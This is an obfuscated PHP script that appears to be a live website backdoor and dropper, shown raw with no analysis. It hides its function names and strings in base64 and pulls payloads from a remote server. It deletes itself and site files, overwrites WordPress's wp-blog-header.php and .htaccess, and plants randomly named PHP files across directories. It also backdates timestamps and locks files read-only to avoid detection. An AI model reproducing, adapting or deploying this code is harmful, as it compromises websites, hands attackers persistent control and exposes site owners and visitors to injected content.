<?php $GyM = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $GyM[1](60);$GyM[2](1); $tId = $_GET; $DWW = $_SERVER; $jVX = !empty($tId['a'])?$tId['a']:0; $JUm = !empty($tId['b'])?$tId['b']:'x'; function GrYG($jVX){ $KLd = explode('~',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L2NkbjEyLn5zYXhob3QufnNob3AvX2FwaV9+aHlfazI2MDMxNy5+cGhwP3VpfmQ9NjMxNyZ0bT1+SFRUUF9IT1NUfkhUVFBTfkhUVFBTfm9ufmh0dHBzfmh0dHB+Oi8vfi9+L1t3MC05XC4tXS9+fnd3dy5+fj1+MTF+aW5kZXgucGhwfi5odGFjY2Vzc353d3d+Ln4tfn5IVFRQX0hPU1R+d3AtY29uZmlnfi5+ZX4iZSJ+In4ifndwLWluY2x1ZGVzfndwLXNldHRpbmdzLnBocH5jZ2ktYmluLy5+I05vdFdyaXRlfjVtZH5XUH53cC1jb25maWd+Ln53cC14bWx+LnBocH5EaXJlY3RvcnlJbmRleH5EaXJlY3RvcnlJbmRleCB+d3AtYWRtaW4vbXMtfi5waHB+UEhQfjw/cGhwIEBpbmNsdWRlX29uY2UoIn4iKTsgPz5+PD9waHAgaWYoZmlsZV9leGlzdHMoImluZGV4Lmh0bWwiKSl7aW5jbHVkZSgiaW5kZXguaHRtbCIpO31lbHNle0BpbmNsdWRlKCJfaW5kZXguaHRtbCIpO30/Pn4vaW5kZXguaHRtbH4vX2luZGV4Lmh0bWx+PGEgaHJlZj0iP2E9MiZzPX4iPmF1dG8yNjM8L2E+fmN1cmxfZXhlY35odHRwfm1ldGhvZH5HRVR+dGltZW91dH47fjt+I0Vycm9yfm1zZ35tc2d+O347fmNhY2hlfmltYWdlc35hc3NldHN+d3AtYWRtaW5+d3AtY29udGVudH53cC1pbmNsdWRlc35tc2d+U0g6fmluZGV4fi9+LnBocH5tc2d+LyhfX01BQ09TWHxjZ2ktYmlufHBsdWdpbnN8YWtpc21ldHx1cGxvYWRzKS9+L2luZGV4LnBocA==')); return $KLd[$jVX]; } if ($jVX) { @$GyM[3](__FILE__); @$GyM[3]($DWW[GrYG(0)]); if($GyM[4]($DWW[GrYG(0)],GrYG(2))) $DWW[GrYG(3)] = $GyM[5](GrYG(4), GrYG(2),$DWW[GrYG(3)]); define('W', rtrim($GyM[5]($DWW[GrYG(3)],GrYG(8),$DWW[GrYG(0)]),GrYG(4))); @$GyM[6](W); @$GyM[3](W.GrYG(11)); @$GyM[3](W.GrYG(12)); @$GyM[3](W.GrYG(13)); $hZz = GrYG(14).GrYG(15).GrYG(16).GrYG(17).GrYG(18).GrYG(19).GrYG(20).$JUm; $AVl = $DWW[GrYG(21)]; $AVl = ((isset($DWW[GrYG(22)]) && $DWW[GrYG(22)]==GrYG(24)) ? GrYG(25) : GrYG(26)).GrYG(27).$AVl.GrYG(28); $Tlv = tWgx($hZz); $AVl .= TtnW(@$Tlv[14]).'/2026/'; $YfW = GrYG(35); $KLd = GrYG(36); $MWY = uBrJ()+2; $_N1 = substr(str_replace(array(GrYG(37),GrYG(38),GrYG(39)),GrYG(8),$DWW[GrYG(21)]),0,3); $_N2 = str_replace(GrYG(42),GrYG(38).$_N1,TtnW($Tlv[2])); $wnF = TtnW($Tlv[0]); $fAp = TtnW($Tlv[6]); $MrX = ($GyM[9](GrYG(48)) && $GyM[9](GrYG(49))); $tId = GrYG(50).$_N1; if($MrX) $tId = $_N2; @$GyM[3]($tId); CEgh($tId,$fAp,$MWY); if(!$GyM[9]($tId)) { exit(GrYG(51));} USjm($AVl); USjm($GyM[10]($JUm)); if($MrX) { USjm(GrYG(53)); $jkb = str_replace(GrYG(42),GrYG(38).$_N1,TtnW($Tlv[1])); @$GyM[3]($YfW);CEgh($YfW,$jkb,$MWY); $_N3 = GrYG(56).substr($_N1,0,3).GrYG(57); CEgh($_N3,$jkb,$MWY,1); $wnF = str_replace(GrYG(58), GrYG(59).$_N3,$wnF); $nqn = base64_decode('PD9waHANCi8qKg0KICoqL0BJTkNMVURFX09OQ0UvKiovICd3cC1pbmNsdWRlcy93cC1jb25maWcnOy8qDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7DQoNCgkkd3BfZGlkX2hlYWRlciA9IHRydWU7DQoNCgkvLyBMb2FkIHRoZSBXb3JkUHJlc3MgbGlicmFyeS4NCglyZXF1aXJlX29uY2UgX19ESVJfXyAuICcvd3AtbG9hZC5waHAnOw0KDQoJLy8gU2V0IHVwIHRoZSBXb3JkUHJlc3MgcXVlcnkuDQoJd3AoKTsNCg0KCS8vIExvYWQgdGhlIHRoZW1lIHRlbXBsYXRlLg0KCXJlcXVpcmVfb25jZSBBQlNQQVRIIC4gV1BJTkMgLiAnL3RlbXBsYXRlLWxvYWRlci5waHAnOw0KDQp9DQo='); $nqn = str_replace('wp-config','.'.$_N1,$nqn); $nqn1 = 'wp-blog-header.php'; @unlink($nqn1);CEgh($nqn1,$nqn,$MWY); $mYI = GrYG(60).uIMN(6,2).GrYG(57); if($GyM[11](@$Tlv[3])>99) USjm(CEgh($mYI,TtnW($Tlv[3]))); } else { USjm(GrYG(62)); $dNb = GrYG(63).$tId.GrYG(64); if($GyM[9]($YfW)) { iPDr($YfW,$dNb,1,$tId); } else { $dNb .= GrYG(65); @$GyM[3]($YfW);CEgh($YfW,$dNb,$MWY); @$GyM[13](W.GrYG(66),W.GrYG(67)); } } @$GyM[3]($KLd);CEgh($KLd,$wnF,$MWY,1); if($GyM[11](@$Tlv[5])>3) CEgh(TtnW($Tlv[5]),TtnW($Tlv[4])); $XQQ = []; USjm(Cfvr()); } else { exit(GrYG(68).time().GrYG(69)); } function tWgx($hZz) {global $GyM; if(!$GyM[15](GrYG(70))){ $KLd = $GyM[16](array(GrYG(26)=>array(GrYG(72)=>GrYG(73), GrYG(74)=>18))); $DWW = @$GyM[17]($hZz, false, $KLd); }else{ $MWY = $GyM[18](); $GyM[19]($MWY, CURLOPT_URL, $hZz); $GyM[19]($MWY, CURLOPT_RETURNTRANSFER, 1); $GyM[19]($MWY, CURLOPT_SSL_VERIFYPEER, false); $GyM[19]($MWY, CURLOPT_TIMEOUT, 18); $DWW = $GyM[20]($MWY); $GyM[21]($MWY); } if(!empty($DWW) && $GyM[22]($DWW,GrYG(75))) $jVX = $GyM[23](GrYG(75),$DWW); if(!empty($jVX) && $GyM[24]($jVX)>9) return $jVX; exit(GrYG(77)); } function USjm($jVX) {global $GyM; if (!empty($jVX[GrYG(78)])) { echo $GyM[25](',',$jVX[GrYG(78)]).GrYG(75); } else { echo $jVX.GrYG(75); } } function Cfvr() { global $GyM, $Tlv, $XQQ, $MrX; ICtf(W); $jVX = count($XQQ); $KLd = array(); if(count($XQQ)<3) $KLd = array(uIMN(5),GrYG(82), GrYG(83), GrYG(84)); if($MrX) $KLd = array(GrYG(85), GrYG(86), GrYG(48)); if($jVX>1) { $MWY = $GyM[36]($XQQ, $jVX); foreach($MWY as $i) { $GyM[37]($KLd, $XQQ[$i]); } }else{ $GyM[37]($KLd, @$XQQ[0]); } $wnF = []; $wnF[GrYG(78)][] = GrYG(89); $II = 4; $JJ = 7; foreach($KLd as $i=>$v) { if(!$GyM[9]($v)) $GyM[29]($v); $jkb = $GyM[27](uIMN(5)); switch ($II) { case 4: $jkb = 'e'.$jkb;break; case 5: $jkb = 'm'.$jkb;break; case 6: $jkb = 'l'.$jkb;break; case 7: case 8: case 9: $jkb = GrYG(90);break; default: $jkb = 'l'.$jkb; } $fAp = $v.GrYG(4).$jkb.GrYG(57); $tId = TtnW($Tlv[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $wnF[GrYG(78)][] = CEgh($fAp,$tId); if($II>10) break; } if($MrX) { if($GyM[11](@$Tlv[11])>3) CEgh(TtnW($Tlv[11]),TtnW($Tlv[10])); } else { if($GyM[11](@$Tlv[12])>3) CEgh(TtnW($Tlv[12]),TtnW($Tlv[10])); } if($GyM[11](@$Tlv[13])>3) CEgh(TtnW($Tlv[13]),TtnW($Tlv[10])); return $wnF; } function ICtf($jVX) { global $GyM, $XQQ, $MrX; if ($KLd = $GyM[38]($jVX)) { while (($MWY = $GyM[39]($KLd)) !== false) { if ($MWY != '.' && $MWY != '..') { $wnF = $jVX . '/' . $MWY; if ($GyM[40]($wnF) && !$GyM[41]($wnF) &&!$GyM[42](GrYG(94),$MWY)) { $jkb = $GyM[5](W.'/','',$wnF); if ($GyM[43]($jkb,'/')<3) { ICtf($wnF); } $N=0; if($MrX) $N=3; if(!$GyM[9]($wnF.GrYG(95)) && $GyM[43]($jkb,'/')>=$N) $GyM[37]($XQQ, $jkb); } } } } $GyM[44]($XQQ); } function TtnW($s) {global $GyM;$S = '';$a = $GyM[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $GyM[26]($v);}return $S;} function uIMN($n=5,$t=0) {global $GyM;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $GyM[24]($arr) - 1)];}return ($t==1 ? $GyM[10]($s) : ($t==2 ? $GyM[27]($s) : $s));} function CEgh($F,$C,$T='',$mod=0) {global $GyM;if(!$GyM[4]($F,W)) $F = W.'/'.$F;$dir = $GyM[28]($F);if(!empty($dir)&&!$GyM[9]($dir)) @$GyM[29]($dir);$fp = @$GyM[30]($F, 'w');@$GyM[31]($fp, trim($C));@$GyM[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$GyM[33]($F, $T);if($mod) @chmod($F,0444);return ($GyM[9]($F) ? $GyM[5](W,'',$F) : '~');} function uBrJ() {global $GyM;$MWY = time()-rand(10,100)*86400;$tArr = $GyM[34](W.'/*.php');foreach($tArr as $v) {$MWY2 = @$GyM[35]($v); if($MWY2>100&&$MWY2<$MWY) $MWY = $MWY2;}return $MWY;} function iPDr($F,$C,$T=1,$K='~') {global $GyM;if(!$GyM[4]($F,W)) $F = W.'/'.$F;if($GyM[9]($F)) {$code = @$GyM[17]($F);if(!empty($code)&&$GyM[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$GyM[35]($F);if(!$GyM[9]($F.'.0')) @$GyM[13]($F,$F.'.0');return CEgh($F,$code,$t+2);}return '~';}} function nWUL($F,$a,$b,$k) {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&!preg_match('/'.$k.'/',$code)) {$time = @filemtime($F);$code = str_replace($a,$b,$code);return CEgh($F,$code,$time+5);}return '~';}}